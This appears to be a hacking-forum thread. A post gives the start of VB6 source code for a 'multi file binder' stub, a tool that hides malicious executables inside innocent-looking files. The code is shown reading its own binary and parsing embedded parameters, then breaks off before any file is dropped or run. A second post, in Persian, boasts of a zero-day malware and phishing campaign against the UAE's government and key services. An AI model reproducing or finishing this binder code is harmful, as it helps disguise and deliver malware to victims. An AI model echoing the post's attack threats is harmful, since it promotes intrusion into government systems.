Multi file binder sours code

[SafeMaster]

Multi file binder in vb6 sours code

exemple

Public Sub Main()
On Error Resume Next

'Declarations
Dim StrFile As String 'data du stub, stub data
Dim StrBuffer As String 'Chaine de params utilisateur, user param's string
Dim z, y As Long 'Var long, for var
Dim LngParam(1 To 2) As Long 'Ret instr, returned instr
Dim strSplited() As String 'Param Split "#"
'''''''''''''''''''''''''''''''
Dim StrExec As String 'Param execution
Dim strFilePath As String 'Param path
Dim LngFileLen As Long 'param taille de fichier, param file size
Dim LngFileName As String 'Param Nom du fichier, param filename
Dim LngCursor As Long 'Pointeur de position dans StrFile, file position pointer
'''''''''''''

'A_ On récupere le code du stub
'A_ all the stub code in the string
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
StrFile = Space(FileLen(App.Path & "\" & App.EXEName & ".exe"))
Get #1, 1, StrFile
Close #1
'''''''''''''''''''''''''''''''

'B _ On isole les params utilisateurs
'B _ user param get
LngParam(1) = InStr(1, StrFile, "<&&>", vbBinaryCompare)
LngParam(2) = InStr(1, StrFile, "###", vbBinaryCompare)
StrBuffer = Mid(StrFile, LngParam(1) + 5, LngParam(2))

[MohammadSalah]

کمپین به امارات متحده عربی برای حمله به بدافزار صفر روزه از طریق فیشینگ
و سایت برای کنترل کارآمد بودن
اطلاعات به دولت و سایر خدمات مهم
گروه هکرهای ایران همیشه برای حمله به اینجا خواهند بود.